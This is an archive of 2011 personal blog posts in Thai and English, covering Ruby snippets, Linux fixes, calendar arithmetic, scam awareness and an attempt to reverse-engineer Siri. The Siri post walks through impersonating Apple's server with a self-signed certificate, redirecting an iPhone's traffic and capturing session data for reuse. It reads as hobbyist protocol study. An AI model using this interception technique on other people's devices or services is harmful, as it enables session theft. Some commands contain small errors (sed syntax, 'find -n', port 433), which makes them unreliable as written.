Pages

11/27/2011

รีวิวหนังสือ รู้ทัน!! ฅนโคตรโกง


Link: http://se-ed.com/eShop/Products/Detail.aspx?No=9786162530326
Details:
ชื่อ: รู้ทัน!! ฅนโคตรโกง
สำนักพิมพ์: I.S. (Pocket) Publishing
เดือนปีที่พิมพ์: สิงหาคม 2554
ชื่อผู้แต่ง: ?????
จำนวนหน้า: 160 หน้า
ราคา: 98 บาท

      ไปสะดุดตาหนังสือเล่มนี้เข้าที่ 7-11  พอดีเห็นว่าเกี่ยวกับเรื่องแฉกลโกงต่าง มันค่อนข้างจะเข้าทางกับที่อ่านอยู่พอดี  แล้วก็ยังมีเนื้อหาเกี่ยวกับเรื่อง work@home ที่ผมยังหาข้อมูลไม่ได้อยู่พอดี เลยตัดสินใจซื้อมา
      ก่อนอื่นเลยต้องบอกว่า หน้าปกอ่านยากมาก ดูไม่ออกว่ามันมีเรื่องอะไรอยู่บ้างในหนังสือเล่มนี้ ภาพมันสับสนวุ่นวายอยู่แล้ว พอเอาตัวหนังสือไปแอบเนียนไว้กับองค์ประกอบของภาพอีกก็ยิ่งอ่านไม่ออกใหญ่  มาอ่านออกก็ตรงปกหลังของหนังสือที่เขียนเป็นคำพูดชัดเจนว่ามีอะไรบ้าง  แต่ด้านหลังจะเขียนไว้แค่ 8 หัวข้อ แต่ในความจริงในหนังสือมีเรื่องราวเยอะกว่านั้น
      ต้องใช้คำว่าเรื่องราวเพราะว่า หนังสือเล่มนี้ เป็นการรวบรวมเรื่องจริงๆ ที่เกิดขึ้นกับชาวบ้านทั่วไป และถูกเขียนส่งมาหาบ.ก. ของหนังสือเล่มนี้ เพื่อรวบรวมและจัดทำเป็นเล่ม  ตอนแรกก็แปลกใจอยู่ที่ว่าหนังสือเล่มนี้ไม่มีชื่อผู้แต่งชัดเจน  แต่ก็อ่านแล้วก็เข้าใจว่า เนื้อหาของแต่ละเรื่องเป็นทางบ้านส่งมาและเขาต้องการปิดชื่อเป็นความลับ  ดังนั้นก็จะไม่มีชื่อผู้แต่งหนังสือเล่มนี้
     สรุปแล้วหนังสือเล่มนี้ รวมสาระพัดกลโกง(Scam) อาทิ แก๊งคอลล์เซ็นเตอร์ แก๊งขโมยบัตรเครดิต การขายตรง(แต่กินส่วนแบ่งแบบพิรามิด) การเล่นแชร์ลูกโซ่ และอื่นๆ อีกมากมาย ในรูปแบบของจดหมายบรรยายเรื่องราวที่ส่งมาจากทางบ้าน และมีการเขียนสรุปคำเตือนและวิธีป้องกันไว้ท้ายเรื่องของแต่ละเรื่องด้วย  แถมภาษายังอ่านง่ายเป็นภาษาพูดบรรยายแบบเล่าเรื่อง ดังนั้นเลยอ่านง่าย เข้าใจง่ายอีกด้วย
 

11/22/2011

Luhn Algorithm Implementation in Ruby

Luhn Algorithm (a.k.a. Mod10, Modulus10): 
    used for creating checksum digit for credit cards, IMEI number, SSN in US and Canada.
(for more see http://en.wikipedia.org/wiki/Luhn_algorithm and http://en.wikipedia.org/wiki/Bank_card_number)


Algorithm:
using "7992739871" as an example here.

  1. break string into digits:
    "7992739871" ==> [7,9,9,2,7,3,9,8,7,1]
  2. double every other digit, starting at 2nd digit:
     [7,9,9,2,7,3,9,8,7,1]  ==> [7,18,9,4,7,6,9,16,7,2]
  3. sum 2-digit number into single-digit number: ex. 18=>1+8=9
    trick is: using either 1+val%10 , or just simply val - 9 if value is over 9
    [7,18,9,4,7,6,9,16,7,2] ==> [7,9,9,4,7,6,9,7,4,2]
  4. sum all numbers:
     [7,9,9,4,7,6,9,7,4,2] ==> 67
  5. modulo with 10:
    67%10 ==> 7
  6. use the reminder to subtract from 10:
    10-7 ==> 3
  7. it is the check digit:
    so the final number will be "79927398713"
Implementation in Ruby:

1st implementation: 
   create 'b' as 1,2,1,2... alternative array and use .zip method to make it parallel array, thne using map to do multiplication (dot-product-like). 'k' variable will be digit-summed, and finally the whole array is summed by .inject(&:+)

input = '7992739871'
b = (1..input.length).map{|i| i%2==0?2:1}
output = 10 - input.split('').map(&:to_i).zip(b).map{|i,j| k=i*j; k<10?k:1+k%10}.inject(&:+)%10

2nd implementation:
   This one uses a benefit of .each_with_index method, so we can omit array 'b'. But the loop does not return changed values, we need another variable (sum) to hold the value.

input = '7992739871'
sum = 0
input.split('').map(&:to_i).each_with_index{|v,i| k=(i%2==0)?v:(v*2<10)?v*2:1+(v*2)%10; sum= sum+k}
output = 10 - sum%10

3rd implementation: 
    based on idea of using Hash to reduce computation on sum of 2-digit, we can use this hash ('b' variable) to directly map the doubled digit into sum of 2-digit value. In 'b' variable (summation of 2-digit of doubled value), we'll get
    b => {5=>1, 0=>0, 6=>3, 1=>2, 7=>5, 2=>4, 8=>7, 3=>6, 9=>9, 4=>8}  
   *** 5=>1 means 5*2 => 10 => 1+0 => 1

input = '7992739871'
b=Hash[(0..9).collect{|i| [i,i*2<10?i*2:1+(i*2%10)]}]
sum = 0
input.split(//).collect(&:to_i).each_with_index{|v,i| sum=sum+(i%2==0?v:b[v])}
output = 10 - sum%10
4th implementation:     If combine all the implementation, would it be easier?
(also change to use val-9 in computation for sum of digits)

input = '7992739871'
b=Hash[(0..9).collect{|i| [i,i*2<10?i*2:i*2-9]}]
output = 10 - input.split(//).collect(&:to_i).zip((1..input.length).to_a).map{|v,i| i%2==0?b[v]:v}.inject(&:+)%10

Or into one-liner as:

input = '7992739871'
output = 10 - input.split(//).collect(&:to_i).zip((1..input.length).to_a).map{|v,i| i%2==0?(v*2<10?v*2:v*2-9):v}.inject(&:+)%10

Additionally useful snippets:
   Found these 2 snippets for checking credit card company.

From: https://gist.github.com/1182499
def valid_association?(number)
  number = number.to_s.gsub(/\D/, "") 
  return :dinners  if number.length == 14 && number =~ /^3(0[0-5]|[68])/   # 300xxx-305xxx, 36xxxx, 38xxxx
  return :amex     if number.length == 15 && number =~ /^3[47]/            # 34xxxx, 37xxxx
  return :visa     if [13,16].include?(number.length) && number =~ /^4/    # 4xxxxx
  return :master   if number.length == 16 && number =~ /^5[1-5]/           # 51xxxx-55xxxx
  return :discover if number.length == 16 && number =~ /^6011/             # 6011xx
  return nil
end

From: http://www.missiondata.com/blog/web-development/25/credit-card-type-and-luhn-check-in-ruby/
def ccTypeCheck(ccNumber)
  ccNumber = ccNumber.gsub(/\D/, '')
  case ccNumber
    when /^3[47]\d{13}$/ then return "AMEX"
    when /^4\d{12}(\d{3})?$/ then return "VISA"
    when /^5\d{15}|36\d{14}$/ then return "MC"
    when /^6011\d{12}|650\d{13}$/ then return "DISC"
    when /^3(0[0-5]|8[0-1])\d{11}$/ then return "DINERS"
    when /^(39\d{12})|(389\d{11})$/ then return "CB"
    when /^3\d{15}|1800\d{11}|2131\d{11}$/ then return "JCB"
    else return "NA"
  end
end

11/21/2011

In-place Replace by Ruby

The following code will replace "searchword" from all *.txt files with word "newword".
The original files will be changed, and backup file will have .bak extension.
ruby -pi.bak -e "gsub(/searchword/,"newword")" *.txt
sed command:
sed -i "s/searchword/newword" filename
sed for multiple-file (using find command)
find /path -n "*.txt" -type f -exec sed -i "s/searchword/newword" {} \;

11/15/2011

Attempt to use Siri on Ubuntu

First off, according to this post from Applidium http://applidium.com/en/news/cracking_siri/
It is about what they learn while trying to figure out how Siri works.
They also provide tools that they used during the process here https://github.com/applidium/Cracking-Siri
and they were written in Ruby.

So, I thought,... Well, it's a good time to try it out. Since I am not an Apple fan boy, I have never use Siri before and I don't have iPhone. All the things matches up with my situation, I then started to try it out.

Unfortunately, after awhile of trying to make it works, I can't.
It seems this tool works by creating a proxy server to capture the authenticated session, use "an actual iphone" to communicate to Siri server to get a session, then you can use that session with the client tools they provides....

So... it  needs an iPhone, and I don't have one....
This tool is not working for me (yet),
but I hope it will work with others.
(or until I can find an iPhone to test it)



Here is the steps I tried:


1. Install all the requirements
It needs ruby, rubygems, openssl, libssl-dev, ffmpeg, speex, eventmachine, uuidtools, CFPropertyList
to install

sudo apt-get install ruby rubygems openssl libssl-dev ffmpeg speex
sudo gem install eventmachine uuidtools CFPropertyList

Possibly also need Audacity or other recording tool to create a sound file

2. Download the tools and extract them
p.s. you can read README.md and Siri.txt inside the first file, but I think it is more like a summary (doesn't give much detail).

3. Generate a certificate and such
(for more information about .cer, .crt, .key, PEM, DER read this http://www.gtopia.org/blog/2010/02/der-vs-crt-vs-cer-vs-pem-certificates/)
I found this command below from http://shib.kuleuven.be/docs/ssl_commands.shtml and only one line it can create both .crt and .key for the certification. I should work (remind that I don't have an iPhone to test)

openssl req -x509 -new -out MYCERT.crt -keyout MYKEY.key -days 365

It will prompt several questions for you to answer. Answer them whatever, but you need to
  • type in the passphrase, it can't be blank
  • "Common Name" (CN) answer as "guzzoni.apple.com" (without quote)

After the prompting questions stop, you will get file MYCERT.crt (for certification, signed) and MYKEY.key (for key)

4. Put the certificate to iPhone 
Well, I don't have one, so I'll skip it.

5. Configure Siri local server
File "siriServer.rb" contains code to work as a Siri proxy between your client (iPhone or Ruby) and Apple's Siri server.
It needs to be configured to use the certificate and key that we created.
First, find the lines below 
Default file names from the tool are "server.passless.crt" and "server.passless.key". 
They need to be changed to the files we just created (or vise-versa).
If you choose to edit the server file, it would be...

6. Start the server
This server will act as Siri server, which is using HTTPS connection. Therefore, this Ruby server will bind to port 433 (default HTTPS) and it also needs super-user permission (sudo needed). 

sudo ./siriServer.rb

If it shows nothing but the waiting prompt, that means it is running correctly. It is waiting for a connection from a client.

7. Use iPhone to connect to Siri via our local server
I haven't done this, but I have some ideas on it.
In order for iPhone to use Siri, it will need to connect to "guzzoni.apple.com". We don't want it to connect directly to the Apple's server, but we need to route the traffic to go through our Ruby server first, so we can capture and view the data inside the traffic.
According to this http://stackoverflow.com/questions/2028544/does-hosts-file-exist-on-the-iphone-how-to-change-it , there are ways to run Siri via our server

  • Router configuration: if you have access to router admin page, and the router support DNS modifying.
  • Using another proxy server: if you can setup another proxy server (Fiddler for example. see http://conceptdev.blogspot.com/2009/01/monitoring-iphone-web-traffic-with.html) and set iPhone to use proxy server and set hosts file on that machine to our server. This will redirect the traffic through the proxy server and finally to our Ruby server. 
  • Edit /etc/hosts (for rooted iPhone): install "iFile" app from Cydia, then navigate to /etc and open "hosts" file to edit. (more about hosts file http://en.wikipedia.org/wiki/Hosts_(file))
  • Setting up a new DNS server: possible but it'd be a hassle.
After the connection setting is working, try using Siri with an app such as Notes.app , server will dump some data out (including session data) that we can use later
- Make Siri dictation request, for example from the Notes.app application. On the server, this will dump all the "interesting" bits (X-Ace-Host identifier, sessionData and such).

8. Configure Ruby client (for speech-to-text)
In the downloaded files, there is a file called "Siri.old.inline.rb", used for speech-to-text conversion.
This file takes

  • Input audio file name: In the file, "input.sif" is fixed as the input. Change it if you need it.
  • Session data: needs several values captured from Ruby server step 7. to replace the word "COMMENTED_OUT"
  • Siri server address: By default, it connect directly to guzzoni.apple.com, but you can comment out/change address to localhost, or other host.


If the session data values are captured, "theoretically" you do not need Ruby server and iPhone anymore. In this step you can put the captured data in this file, and connect directly to guzzoni.apple.com.

9. Prepare Speech file
  • First, prepare a sound file for any format. You can use the original speech file from Step 2. (recording.m4a) or you can use a software to record your own voice (I use Audacity to do it). 
  • Then convert it into raw format by using ffmpeg. Because the Speex tool has default input format as "raw PCM input is 16-bit, little-endian, mono", ffmpeg will have "-acodec pcm_s16le". Command use:

    ffmpeg -i recording.m4a -acodec pcm_s16le -f rawvideo recording.raw

  • Convert raw sound file into .sif:

    speexenc testsound.raw input.sif
10. Run Ruby client 
Simply use command
./Siri.old.inline.rb

It will load the input speech file (default=input.sif) and connect to Siri server, get data back and then dump the data on the screen.



Some More Screenshots

Server dumps data that client sending through it


Got this "Not authenticated" appears on client-side because I do not have session data


Errors I Found
  • "what(): Encryption not available on this event-machine"
    • Ruby's library "eventmachine" is required SSL library to connect to HTTPS. 
    • To fix it, install "libssl-dev" (Ubuntu package)
  • "eventmachine.rb:572:in `start_tcp_server': no acceptor (RuntimeError)"
    • Ruby's library "eventmachine" cannot bind to a port while creating a server, dues to permission
    • Use super-user (sudo) to run the program, e.g. sudo ./siriServer.rb

Test Environment:

  • Ubuntu 11.10 x64
  • Ruby 1.8



Hope I can complete this tutorial soon.
(if I can find an iPhone to test)



UPDATE (related links):



11/10/2011

Convert String to Binary in Ruby

As for the sake of today 11/11/11,
Everything is in binary mode.
Why not do a conversion between String and binary :)

Conversion from String to binary
Easiest way, using unpack and tell Ruby that it is binary
"Hello".unpack("B*")
=> ["0100100001100101011011000110110001101111"]

You can specify length of each binary by replace * with total length of the word (default binary has 8 bit per character)
"Hello".unpack("B40")
=> ["0100100001100101011011000110110001101111"]

The output is in array format, removing an array can be done by adding [0] to select the first element from array.
"Hello".unpack("B*")[0]
=> "0100100001100101011011000110110001101111"

Other method is to break down the string into characters first and get ASCII number of each character, then convert them to binary.
Here is a way for breaking a String into ASCII character code.
‎"Hello".unpack("C*")
=> [72, 101, 108, 108, 111]

Then using print formatting with %b to convert each ASCII code (int) to binary
"Hello".unpack("C*").each{|c| print "%08b" % c}

Another way to do using split('')
"Hello".split('').each{|c| print "%08b" % c[0] }
=> 0100100001100101011011000110110001101111

Or you could use scan(/./)
"Hello".scan(/./).each{|c| print "%08b" % c[0] }
=> 0100100001100101011011000110110001101111

Actually there is another method for converting number into binary, it is using ".to_str(2)" but this method doesn't put leading-zeros in the result, as you can see:
"Hello".scan(/./).each{|c| print "%08s " % c[0].to_s(2) }
=> 1001000 1100101 1101100 1101100 1101111

Conversion from binary back to String
Same as above, we can use the same method to convert binary back to String
a="0100100001100101011011000110110001101111"
[a].pack("B*")
=> "Hello"

Or split it by 8 digit each, then convert each 8 digit to int , then to character
a="0100100001100101011011000110110001101111"
(0..a.length).step(8).each {|i| print a[i,8].to_i(2).chr}
=> Hello



P.S.
After reading .pack and .unpack function API, I found that Ruby has a built-in Base64 encoder/decoder.
To use it just use pack() or unpack() with "m" directive
Base64 Encoding
["Hello"].pack("m*").chomp
=> "SGVsbG8="
Base64 Decoding
"SGVsbG8=".unpack("m*")[0]
=> "Hello"

11/04/2011

Enable USB Devices on Virtualbox on Ubuntu Host

My test environment:
- Ubuntu 11.10
- Virtualbox 4.1.2 + extension pack

To enable USB devices in Virtualbox after installed it, is only add your username into vboxusers group (created by Virtualbox)

step by step (ordinary method):

 1. sudo vi /etc/group
 2. add your username in the line that says
vboxusers:x:125:
, so it would be
vboxusers:x:125:anidear
(where as "anidear" is the username)
 3. save and restart Ubuntu for it to take effect.

short way:
  sudo usermod -G vboxusers -a anidear
(where as "anidear" is the username)

10/14/2011

Fixing Chipmunk sound on Skype

My environment is:
OS: Blackbuntu 0.3 x64 (Ubuntu 10.10 inside)
Kernel: 2.6.39-3-bb03
Microphone: USB Webcam Logitech C310

My problem was when I speak on Skype my voice turns into Chipmunk-like sound. But if I don't use Skype, I can record my voice clearly with other tool, e.g. Audacity.

First I tried remove module "snd-usb-audio", and re-insert it again. This doesn't work.

Editing its config at '/etc/modprobe.d/alsa-base.conf' doesn't work either.

Tried this one, https://help.ubuntu.com/community/UbuntuStudio/UsbAudioDevices doesn't work either.

Adding '~/.asoundrc' doesn't work either.

THE PROBLEM IS FROM SKYPE!!!

The solution is to uncheck the box says "Allow Skype to automatically adjust my microphone mixer levels"

Solution is from this forum thread: http://forum.skype.com/index.php?showtopic=468941&st=0

----- UPDATE ---
a day after, it didn't work.
So I install pavucontrol:  sudo apt-get install pavucontrol
Then, the Skype option(sound devices) will have another button on that page.
Open that page and set to...

set fall back button on this page (green button)

for my device set internal Audio, set Profile to "Analog Stereo Duplex"

10/13/2011

วิธีคำนวนปฏิทินร้อยปีในใจ (พร้อมเหตุและผล)

(ภาพจาก iblog.siamhrm.com)


บล๊อคโพสต์นี้เป็นคณิตศาสตร์หน่อยแล้วกัน  พอดีได้ไปอ่านบทความเรื่องการคำนวนปฏิทินร้อยปีจาก http://lifehacker.com/5848651/how-to-quickly-figure-out-the-day-of-the-week-any-date-falls-on แล้วก็เห็นว่ามีสูตรคำนวนแบบง่ายๆอยู่ที่ http://gmmentalgym.blogspot.com/2011/03/day-of-week-for-any-date-revised.html  แต่ว่า.. พอเปิดเข้าไป ก็เจอแต่วิธีท่องจำ  ซึ่งเป็นอะไรที่ไม่ชอบเลยจริงๆ  เลยพยายามนั่งคิดให้เข้าใจสูตรอยู่   พอเข้าใจแล้วก็เลยเอามาเขียนบรรยายตรงนี้  เก็บเอาไว้กันลืม

วิธีแบบง่าย
วิธีนี้เอาไว้ใช้คำนวนภายในเดือนเดียวกัน หรือว่าห่างกันไปไม่กี่เดือน หรืออาจจะข้ามไม่กี่ปี  โดยเราจะใช้เทคนิคที่ว่า
วันที่ +7 แล้วจะออกมาเป็นวันเดิมเสมอ
ยกตัวอย่าง วันนี้เป็นวันที่ 13 ตุลาคม เป็นวันพฤหัสบดี ดังนั้นวันที่ 13+7 (=20), 13+7+7 (=27) ก็จะเป็นวันพฤหัสบดีด้วย  แน่นอนว่ากฎนี้ยังใช้ถอยหลัง(-7) ได้ด้วย ซึ่งจะทำให้ 13-7 (=5) เป็นวันพฤหัสด้วย
และพอเราได้วันใกล้เคียงแล้ว ก็ค่อยเทียบเดินหน้าถอยหลังไปไม่กี่วัน ก็จะรู้ว่าวันที่ต้องการนั้นคือวันอะไร
ถ้าเอากฎข้อนี้มาประยุกต์ใช้ต่อ  ถ้าเราอยากคำนวนวันห่างๆออกไปที่หารด้วย 7 ไม่ลงตัว จะสามารถใช้วิธีเอาผลต่างตรงนั้นมาทำ modulo (หรือการหารเอาเศษ) เพื่อให้ได้วันที่ต้องการได้เลยทันที
ยกตัวอย่างเช่น ถ้าต้องการหาว่าวันที่ 30 ตุลาคม เป็นวันอะไร โดยที่รู้ว่าวันที่ 13 ตุลาคมเป็นวันพฤหัส  เราก็จะสามารถใช้ผลต่าง 30 - 13 = 17 วันนี้ เอามาหารด้วย 7 เพื่อหาเศษ ซึ่งจะได้เป็น 17 % 7 = 3 นั่นหมายถึงว่า เราต้อง +3 จากวันพฤหัสไป ซึ่งหมายถึงว่าวันที่ต้องการนั้นเป็นวันอาทิตย์นั่นเอง

อีกกฎนึงก็คือ
บวกเดือน -คม ให้ +3 , บวกเดือน -ยน ให้ +2

ตรงนี้คือการนำกฎข้อที่แล้วมาใช้  เนื่องจาก เดือนที่ลงด้วย -คม จะมี 31 วัน ซึ่งก็คือ 7x4 + 3 ซึ่งถ้าการ +7 ทำให้ได้วันเดิมแล้ว ถ้าเราต้องการข้ามเดือนก็ต้อง +3 ของเดือนปัจจุบันเข้าไป  วิธีคิดเดือน -ยน ก็ใช้วิธีเดียวกัน

เช่น เรารู้ว่าวันที่ 13 ตุลาคมเป็นวันพฤหัส  แต่เราต้องการรู้ว่า วันที่ 20 เดือนหน้า(พ.ย.) เป็นวันอะไร
เราก็รู้ว่าเดือนนี้ลงท้ายด้วย -คม ดังนั้นเราจะ +3 ไปจากวันปัจจุบัน(พฤหัส)
ทำให้รู้่ว่าเดือนหน้า วันที่ 13 คือวันอาทิตย์ (พฤหัส+3)

แต่วันที่ 13 พ.ย. ยังไม่ใช่วันที่เราต้องการ(20 พ.ย.) ดังนั้นก็ใช้กฏแรกข้างบนเทียบต่อ ก็คือ 13+7 (=20) จะเป็นวันเดียวกัน ซึ่งก็คือเป็นวันอาทิตย์เหมือนเดิม

** หมายเหตุ: สำหรับเดือน กุมภาพันธ์ ซึ่งปกติมี 28 วัน ซึ่งเกิดจากก็คือ 7x4 ก็จะต้อง +0 เข้าไป ยกเว้นถ้าเป็นปีอธิกสุรทิน(leap year) เดือนก.พ.จะมี 29 วัน หรือก็คือ 7x4 + 1 ก็ค่อย +1 เข้าไป

และสุดท้ายแบบข้ามปี
เนื่องจาก ปีนึงปกติมี 365 วัน  หรือก็คือ 7x52 + 1  นั่นหมายความว่า ถ้าเราคิดถึงวันเดียวกันในปีถัดไป หรืออีก 365 วันข้างหน้า  วันนั้นก็จะเป็นวันปัจจุบัน +1
แต่ถ้าการนั้บข้ามปีนี้ จะผ่านวันที่ 29 กุมภาพันธ์ ด้วย นั่นจะทำให้ต้องนับเป็น 366 วัน หรือก็คือ 7x52 + 2 หรือก็คือวันปัจจุบัน +2
ก็จะสรุปได้ว่า
วันเดียวกันของปีข้างหน้าให้ +1, แต่ถ้านับผ่าน 29 กุมภาพันธ์ ก็ให้นับวันนั้นเพิ่มกลายเป็น +2 แทน

วิธีแบบยากแต่เร็ว

เนื่องจากวิธีข้างบนดูเหมือนจะง่าย แต่ว่ากว่าจะคิดหาวันแต่ละวันได้มันจะต้องใช้เวลาค่อนข้างนานในการเทียบแต่ละอย่าง ดังนั้นก็เลยมีคนแปลงวิธีด้านบนให้กลายมาเป็นสูตรง่ายๆ เพียงแค่แปลงวันเดือนปีที่ต้องการให้กลายเป็นตัวเลขก่อน แล้วค่อยเอาเลขพวกนั้นมาบวกกันก็จะได้วันที่ต้องการเลย
และแน่นอน..ตามหลักของ computer science  การคิดให้ความซับซ้อนน้อยลงก็ต้องแลกกับพื้นที่ความจำที่มากขึ้น (computation - memory trade-off)

สิ่งที่ต้องจำคือ
การแปลงวัน
ความหมายของวันในสัปดาห์(ผลลัพธ์การคำนวน)จะตีความได้ดังนี้
อาทิตย์ : 0
จันทร์ : 1
อังคาร : 2
พุธ : 3
พฤหัสบดี : 4
ศุกร์ : 5
เสาร์ : 6

คำอธิบาย:
ตรงนี้จะใช้ตัวเลขทางคณิตศาสตร์แทนวัน  โดยใช้เริ่มต้นจาก 0 และจบลงที่ 6
นั่นทำให้เวลาคำนวนเลขแล้วมีเลขเกิน 6 จะสามารถใช้วิธี modulo ด้วย 7 เพื่อให้ลดลงมีค่าอยู่ระหว่าง 0 - 6 ได้เหมือนเดิม เพื่อความสะดวกในการคิดคำนวน

ภาษาง่ายๆคือหมายถึงว่า  ถ้าคำนวนแล้วเลขเกิน 7 (วันในสัปดาห์มีแค่7วัน) ให้เอา 7 หาร แล้วเหลือเศษเท่าไหร่ก็จะได้ตัวเศษนั้นเป็นผลลัพธ์แทน
**ปล. การใช้ 7 หาร มาจากกฎข้อแรก

การแปลงเดือน
ตามตารางในลิงค์ที่ 2 ด้านบนจะแสดงการแปลงค่าเดือนไว้ดังนี้
มกราคม : 6
กุมภาพันธ์ : 2
มีนาคม : 2
เมษายน : 5
พฤษภาคม : 0
มิถุนายน : 3
กรกฎาคม : 5
สิงหาคม : 1
กันยายน : 4
ตุลาคม : 6
พฤศจิกายน : 2
ธันวาคม : 4
**โดยที่ปีไหนเป็นปี อธิกสุรทิน เดือน ม.ค.และก.พ.จะลดลงหนึ่ง เหลือเป็น 5 และ 1 ตามลำดับ

คำอธิบาย
จะเห็นว่าค่าของเดือนต่างๆ จะเพิ่มไปตามคำอธิบายการเพิ่มเดือน(ในวิธีคำนวนแบบง่าย) ก็คือใช้การ +3, +2 เหมือนเดิม และถ้าเลขเกิน 6 เมื่อไหร่ เลข 7 ก็จะปัดลงมาเป็น 0 (เนื่องจากวันมีแค่ 7 วันต่อสัปดาห์)  ส่วนการเริ่มต้นให้มกราคมเป็นเลข 6 นั้นเพื่อเป็นการดุลสมการให้ตรงกับวันที่ 1 มกราคม 2000 ซึ่งตรงกับวันเสาร์(6)  ซึ่งเดี๋ยวจะกล่าวต่อไป

การแปลงปี
การแปลงปีในสุตรตามลิงค์ที่2ด้านบนสุดจะบอกว่าให้จำว่า
ปีที่ติดกันและไม่เป็นปีอธิกสุรทิน ให้ใช้ +1 เช่น
2000 : 0
2001 : 1
2002 : 2
2003 : 3

คำอธิบาย:
วิธีคิดปีถัดไปที่ติดกันให้ดูที่วิธีคิดปีแบบง่ายจะเห็นว่าทำไมต้อง +1

แต่ถ้าเริ่มห่างเกิน 4 ปี ให้หาว่าห่างจากปีอธิกสุรทินที่ใกล้ที่สุดเท่าไหร่  โดยให้จำปีอธิกสุรทินเฉพาะคือ
2000 : 0
2004 : 5
2008 : 3
2012 : 1
2016 : 6
2020 : 4
2024 : 2

คำอธิบาย:
เนื่องจากปีที่ลงอธิกสุรทินจะมีวันเพิ่มขึ้น 1 วัน ดังนั้นจึงต้องเพิ่ม +1 เข้าไปเพื่อที่จะชดเชยกับวันนั้น
ทำให้จากเดิมที่ปีอธิกสุรทินถัดไปแทนที่จะแค่ +4 (สี่ปีถัดจากก่อนหน้า) แต่ต้องกลายเป็น +5 เพราะเพิ่มวันที่ชดเชยนั้น  และถ้าเกิน 7 ก็ให้ใช้วิธีหารด้วย 7 เอาเศษเหมือนเดิม(เพราะมีแค่7วันในสัปดาห์)

และเนื่องจากเราชดเชยวันพิเศษนี้ไปแล้วด้วยการบวก 1 เพิ่มไปในการแปลงปี ซึ่งจะทำให้ปีทั้งปีมีวันเพิ่มขึ้นไปหนึ่งวัน  แต่เนื่องจากวันพิเศษนี้คือ 29 ก.พ. ดังนั้นเดือนที่จะไม่ได้รับผลกระทบจากวันพิเศษนี้ก็คือเดือนม.ค.และก.พ. ดังนั้นเลยทำให้ในการแปลงเดือนของเดือนม.ค.และก.พ.ในปีที่เป็นอธิกสุรทินต้องมีการ -1 เพื่อชดเชยการชดเชยการแปลงปีตรงนี้ด้วย

และถ้าสังเกตให้ดีในการแปลงปี เมื่อครบ 12 ปี จะเป็นการ +1 แทน (365x12 + 1x3 = 4380 = 7x626 +1)
จะทำให้ได้วิธีจำง่ายๆว่า
2000 : 0
2012 : 1
2024 : 2
2036 : 3
2048 : 4

การคำนวน
วิธีการคำนวน ก็คือการแปลงวันที่ได้รับมาให้อยู่ในตัวเลขก่อน แล้วค่อยนำตัวเลขเหล่านั้นมาบวกกัน โดยใช้หลัก
วันที่ต้องการ = วันที่ + เดือน(แปลงแล้ว) + ปี(แปลงแล้ว)

ยกตัวอย่างเช่น
วันที่ 13 ต.ค. 2011
วันที่ : 13
เดือน : ต.ค. = 6
ปี : 2011 = ปีอธิกสุรทินใกล้สุดคือ 2008 + 3 = 3 + 3 = 6
ดังนั้นวันนั้นคือ วันที่ + เดือน + ปี = 13 + 6 + 6 = 25 = 7x3 + 4 = 4 = วันพฤหัส

ตัวอย่างที่ 2
วันที่ 1 ม.ค. 2000
วันที่ : 1
เดือน : ม.ค. = 6 แต่เป็นปีอธิกสุรทินจะต้อง -1 = 5
ปี : 2000 = 0
วันนั้นจะเป็นวัน 1 + 5 + 0 = 6 = เสาร์

และถ้าสังเกตดีๆ ตรงนี้นี่เองที่เป็นการบังคับว่ามกราคมต้องแทนด้วยเลข 6 ซึ่งส่งผลต่อเลขเดือนอื่นๆที่ต้องท่องจำด้วย  ก็เพราะวันที่ใช้อ้างอิงในสูตรนี้คือ 1 มกราคม 2000 ซึ่งเป็นวันเสาร์นั่นเอง

ตัวอย่างที่ 3
วันที่ 31 ธันวาคม ปี 2099
วันที่ : 31
เดือน : ธันวาคม = 4
ปี : 2099 = 2096 + 3 = (2000 + 12x8) + 3 = 8 + 3 = 11 = 7x1 + 4 = 4
ดังนั้นวันนั้นจะเป็นวัน 31 + 4 + 4 = 39 = 7x5 + 4 = 4 = วันพฤหัสบดีี

ลองเอาไปเล่นกันนะครับ  ^_^

UPDATE (23 ก.ย. 2555)
พอดีมีคนถามเรื่องการคิดถอยหลังไปในปีที่ตำกว่าปี 2000
เลยเขียนโพสต์เพิ่ม สำหรับการคำนวนที่ไม่อยู่ระหว่างปี 2000 - 2999
ติดตามอ่านได้ที่  วิธีคำนวนปฏิทินร้อยปีในใจ (พร้อมเหตุและผล) ภาค 2 สำหรับศตวรรษอื่น


9/27/2011

กลโกงขโมยเลนส์


เนื่องด้วยกระแสกล้องดิจิตอลโปรแบบเปลี่ยนเลนส์ได้ (DSLR) กำลังมาแรงมากโดยเฉพาะในประเทศไทย คือไม่ว่าจะด้วยที่ว่าราคาของกล้องมันถูกลง หรือว่ามันจะเป็นเทรนด์ที่ทุกคนต้องมีกันก็ไม่ทราบได้  แต่เท่าที่จะเห็นกันได้ทั่วไปบนท้องถนนเดี๋ยวนี้คือ คนห้อยกล้อง DSLR เดินไปเดินมากันทั่วเมือง  แล้วก็ถ่ายรูปกันเห็นได้แทบจะทุกที่

แต่ทว่าการที่เรายกกล้องออกมาห้อยคอเดินไปเดินมาแบบนี้  ในมุมมองของเหล่ามิจฉาชีพ การเอาของมีค่าออกมาห้อยคอแบบนั้น มันก็เป็นการยั่วน้ำลายมิจฉาชีพทั้งหลายอย่างดีนี่เอง  
เหล่าคนมือไวเหล่านั้นแน่นอนว่าจะต้องหายุทธวิธี เพื่อที่จะตบทรัพย์เอาของมีค่าของเราไปอย่างแน่นอน  และ The Real Hustle (UK)  ปีที่ 10 ตอนที่ 4 ก็โชว์เทคนิคนี้ออกมาให้เราดูกัน



